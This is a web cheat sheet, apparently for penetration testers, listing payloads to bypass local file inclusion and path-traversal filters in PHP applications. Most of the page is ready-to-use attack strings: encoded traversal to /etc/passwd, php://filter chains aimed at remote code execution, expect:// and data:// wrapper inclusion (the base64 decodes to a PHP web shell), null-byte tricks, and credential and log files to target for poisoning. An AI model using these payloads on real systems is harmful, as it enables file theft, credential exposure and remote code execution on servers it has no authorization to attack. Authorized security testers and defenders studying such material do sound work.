Parser and control bypass reference

LFI / path-traversal bypass

Read files when naive traversal is filtered, then escalate. PHP filter chains are the modern, upload-free path to RCE; null-byte truncation is legacy (flagged below).

lfitraversalphp

Stable IDbypass:lfiLast updated2026-08-20Last verifiedLegacy review pendingProvenanceCurated reference

Compare behaviorA bypass claim needs a control request and a clear boundary that changed.

Stop after confirmation. Do not escalate impact without separate authorization.

Filter-stripping traversal

Nested `....//` survives a single `../`→'' strip; encodings defeat string filters.

....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252fetc%252fpasswd
..%c0%afetc%c0%afpasswd

PHP filter chains (modern RCE)

2022 technique: chain php://filter iconv converters to synthesize arbitrary bytes and reach RCE with zero uploaded file (see php_filter_chain_generator).

php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode/resource=/etc/passwd

Wrapper inclusion

Deliver code directly when allow_url_include / expect is enabled.

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==
php://input
expect://id

Null-byte truncation (LEGACY)

Only PHP < 5.3.4 - dead on modern PHP. Keep for legacy/embedded targets only.

/etc/passwd%00
....//etc/passwd%00.png

High-value files to include

Read config/creds, or poison a log/fd to turn LFI into code execution.

/proc/self/environ
/var/log/apache2/access.log
/proc/self/fd/0
/etc/passwd

Version history: normalized permanent page created 2026-08-20.